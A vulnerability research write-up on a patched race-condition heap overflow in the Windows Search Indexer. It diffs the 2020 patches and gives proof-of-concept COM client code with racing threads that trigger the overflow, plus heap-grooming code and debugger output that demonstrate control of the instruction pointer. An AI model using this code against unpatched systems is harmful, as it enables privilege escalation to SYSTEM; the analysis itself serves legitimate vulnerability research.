### Introduction

The Jan-Feb 2020 security patch fixes multiple bugs in the Windows Search Indexer.

Many LPE vulnerabilities in the Windows Search Indexer have been found, as shown above1. Thus, we decided to analyze details from the applied patches and share them.

### Windows Search Indexer

Windows Search Indexer is a Windows Service that handles indexing of your files for Windows Search, which fuels the file search engine built into windows that powers everything from the Start Menu search box to Windows Explorer, and even the Libraries feature.

Search Indexer helps direct the users to the service interface through GUI, indexing options, from their perspectives, as indicated below.

All the DB and temporary data during the indexing process are stored as files and managed. Usually in Windows Service, the whole process is carried out with NT AUTHORITY SYSTEM privileges. If the logic bugs happen to exist due to modifying file paths, it may trigger privilege escalation. (E.g. Symlink attack)

We assumed that Search Indexer might be the vulnerability like so, given that most of the vulnerabilities recently occurred in Windows Service were LPE vulnerabilities due to logic bugs. However, the outcome of our analysis was not that; more details are covered afterward.

### Patch Diffing

The analysis environment was Windows7 x86 in that it had a small size of the updated file and easy to identified the spot differences. We downloaded both patched versions of this module.

• patched version (January Patch Tuesday) : KB45343142
• patched version (February Patch Tuesday) : KB45378133

We started with a BinDiff of the binaries modified by the patch (in this case there is only one: searchindexer.exe)

Most of the patches were done in the CSearchCrawlScopeManager and CSearchRoot class. The former was patched in January, and then the latter was patched the following month. Both classes contained the same change, so we focused on CSearchRoot patched.

The following figure shows that primitive codes were added, which used a Lock to securely access shared resources. We deduced that accessing the shared resources gave rise to the occurrence of the race condition vulnerability in that the patch consisted of putter, getter function.

### How to Interact with the Interface

We referred to the MSDN to see how those classes were used and uncovered that they were all related to the Crawl Scope Manager. And we could check the method information of this class.

And the MSDN said4 :

The Crawl Scope Manager (CSM) is a set of APIs that lets you add, remove, and enumerate search roots and scope rules for the Windows Search indexer. When you want the indexer to begin crawling a new container, you can use the CSM to set the search root(s) and scope rules for paths within the search root(s).

The CSM interface is as follows:

For examples, adding, removing, and enumerating search roots and scope rules can be written by the following :

The ISearchCrawlScopeManager tells the search engine about containers to crawl and/or watch, and items under those containers to include or exclude. To add a new search root, instantiate an ISearchRoot object, set the root attributes, and then call ISearchCrawlScopeManager::AddRoot and pass it a pointer to ISearchRoot object.

// Add RootInfo & Scope Rule
pISearchRoot->put_RootURL(L"file:///C:\ ");

// Set Registry key
pSearchCrawlScopeManager->SaveAll();


We can also use ISearchCrawlScopeManager to remove a root from the crawl scope when we no longer want that URL indexed. Removing a root also deletes all scope rules for that URL. We can uninstall the application, remove all data, and then remove the search root from the crawl scope, and the Crawl Scope Manager will remove the root and all scope rules associated with the root.

// Remove RootInfo & Scope Rule
ISearchCrawlScopeManager->RemoveRoot(pszURL);

// Set Registry key
ISearchCrawlScopeManager->SaveAll();


The CSM enumerates search roots using IEnumSearchRoots. We can use this class to enumerate search roots for a number of purposes. For example, we might want to display the entire crawl scope in a user interface, or discover whether a particular root or the child of a root is already in the crawl scope.

// Display RootInfo
PWSTR pszUrl = NULL;
pSearchRoot->get_RootURL(&pszUrl);
wcout << L"\t" << pszUrl;

// Display Scope Rule
IEnumSearchScopeRules *pScopeRules;
pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);

ISearchScopeRule *pSearchScopeRule;
pScopeRules->Next(1, &pSearchScopeRule, NULL))

pSearchScopeRule->get_PatternOrURL(&pszUrl);
wcout << L"\t" << pszUrl;


We thought that a vulnerability would arise in the process of manipulating URL. Accordingly, we started analyzing the root causes.

### Root Cause Analysis

We conducted binary analysis focusing on the following functions :

While analyzing ISearchRoot::put_RootURL and ISearchRoot::get_RootURL, we figured out that the object’s shared variable (CSearchRoot + 0x14) was referenced.

The put_RootURL function wrote a user-controlled data in the memory of CSearchRoot+0x14. The get_RootURL function read the data located in the memory of CSearchRoot+0x14. , it appeared that the vulnerability was caused by this shared variable concerning patches.

Thus, we finally got to the point where the vulnerability initiated.

The vulnerability was in the process of double fetching length, and the vulnerability could be triggered when the following occurs:

1. First fetch: Used as memory allocation size (line 9)
2. Second fetch: Used as memory copy size (line 13)

If the size of the first and that of the second differed, a heap overflow might occur, especially when the second fetch had a large size. We maintained that we change the size of pszURL sufficiently through the race condition before the memory copy occurs.

### Crash

Through OleView5, we were able to see the interface provided by the Windows Search Manager. And we needed to hit vulnerable functions based on the methods of the interface.

We could easily test it through the COM-based command line source code provided by MSDN6. And wrote the COM client code that hit vulnerable functions as following:

int wmain(int argc, wchar_t *argv[])
{
// Initialize COM library

// Class instantiate
ISearchRoot *pISearchRoot;
CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));

// Vulnerable functions hit
pISearchRoot->put_RootURL(L"Shared RootURL");
PWSTR pszUrl = NULL;
HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);
wcout << L"\t" << pszUrl;

// Free COM resource, End
pISearchRoot->Release();
CoUninitialize();
}


Thereafter, bug triggering was quite simple. We created two threads: one writing different lengths of data to the shared buffer and the other reading data from the shared buffer at the same time.

DWORD __stdcall thread_putter(LPVOID param)
{
ISearchManager *pSearchManager = (ISearchManager*)param;
while (1) {
pSearchManager->put_RootURL(L"AA");
pSearchManager->put_RootURL(L"AAAAAAAAAA");
}
return 0;
}

DWORD __stdcall thread_getter(LPVOID param)
{
ISearchRoot *pISearchRoot = (ISearchRoot*)param;
PWSTR get_pszUrl;
while (1) {
pISearchRoot->get_RootURL(&get_pszUrl);
}
return 0;
}


Okay, Crash!

Undoubtedly, the race condition had succeeded before the StringCchCopyW function copied the RootURL data, leading to heap overflow.

### EIP Control

We ought to create an object to the Sever heap where the vulnerability occurs for the sake of controlling EIP.

We wrote the client codes as following, tracking the heap status.

int wmain(int argc, wchar_t *argv[])
{
ISearchRoot *pISearchRoot[20];
for (int i = 0; i < 20; i++) {
CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));
}
pISearchRoot[3]->Release();
pISearchRoot[5]->Release();
pISearchRoot[7]->Release();
pISearchRoot[9]->Release();
pISearchRoot[11]->Release();

Sleep(500);

CoUninitialize();
return 0;
}


We found out that if the client did not release the pISearchRoot object, IRpcStubBuffer objects would remain on the server heap. And we also saw that the IRpcStubBuffer object remained near the location of the heap where the vulnerability occurred.

    0:010> !heap -p -all
...
03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return
mssprxy!_idxpi_IID_Lookup <PERF> (mssprxy+0x75)
03d58f38 0005 0005  [00]   03d58f40    00020 - (free)
03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj
? mssprxy!_ISearchRootStubVtbl+10
03d58f88 0005 0005  [00]   03d58f90    0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj
03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy)
03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj
03d59000 0005 0005  [00]   03d59008    0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj
03d59028 0005 0005  [00]   03d59030    00020 - (busy)
03d59050 0005 0005  [00]   03d59058    00020 - (busy)
03d59078 0005 0005  [00]   03d59080    00020 - (free)
03d590a0 0005 0005  [00]   03d590a8    00020 - (free)
03d590c8 0005 0005  [00]   03d590d0    0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj


In COM, all interfaces have their own interface stub space. Stubs are small memory spaces used to support remote method calls during RPC communication, and IRpcStubBuffer is the primary interface for such interface stubs. In this process, the IRpcStubBuffer to support pISearchRoot’s interface stub remains on the server’s heap.

The vtfunction of IRpcStubBuffer is as follows :

    0:003> dds poi(03d58f18) l10
71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface
71215bd0  71216840 mssprxy!CStdStubBuffer_Release
71215bd4  71217926 mssprxy!CStdStubBuffer_Connect
71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();
71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke
71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported
71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs
71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface
71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease


When the client’s COM is Uninitialized, IRpcStubBuffer::Disconnect disconnects all connections of object pointer. Therefore, if the client calls CoUninitialize function, CStdStubBuffer_Disconnect function is called on the server. It means that users can construct fake vtable and call that function.

However, we haven’t always seen IRpcStubBuffer allocated on the same location heap. Therefore, several tries were needed to construct the heap layout. After several tries, the IRpcStubBuffer object was covered with the controllable value (0x45454545) as follows.

In the end, we could show that indirect calls to any function in memory are possible!

### Conclusion

Most of the LPE vulnerabilities recently occurred in Windows Service, were logic bugs. In this manner, analysis on Memory corruption vulnerabilities of Windows Search Indexer was quite interesting. Thereby, such Memory Corruption vulnerabilities are likely to occur in Windows Service hereafter. We should not overlook the possibilities.

We hope that the analysis will serve as an insight to other vulnerability researchers and be applied to further studies.